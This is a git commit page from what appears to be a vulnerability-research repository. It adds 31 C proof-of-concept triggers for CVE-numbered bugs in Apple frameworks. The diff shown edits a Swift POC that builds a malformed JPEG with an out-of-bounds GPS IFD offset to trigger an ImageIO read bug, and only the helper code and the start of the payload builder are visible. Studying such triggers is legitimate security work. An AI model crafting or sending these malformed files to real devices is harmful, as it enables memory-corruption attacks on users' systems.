v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -1,22 +1,8 @@
|
||||
// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
|
||||
// 原语: OOB 读 · 进程内 · tier 2
|
||||
// Primitive: OOB read · in-process · tier 2
|
||||
//
|
||||
// [zh] GPS IFD 值偏移越界
|
||||
// GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength
|
||||
// / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。
|
||||
//
|
||||
// [en] GPS IFD value offset out of bounds
|
||||
// The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value
|
||||
// offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every
|
||||
// access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws
|
||||
// OutOfBounds on violation.
|
||||
// ── 判别 / oracle ──
|
||||
// GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。
|
||||
|
||||
// GPS IFD value offset out of bounds
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -37,7 +23,7 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
|
||||
enum JPEGPayload {
|
||||
static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
|
||||
var tiff = Data()
|
||||
|
||||
Reference in new issue
Block a user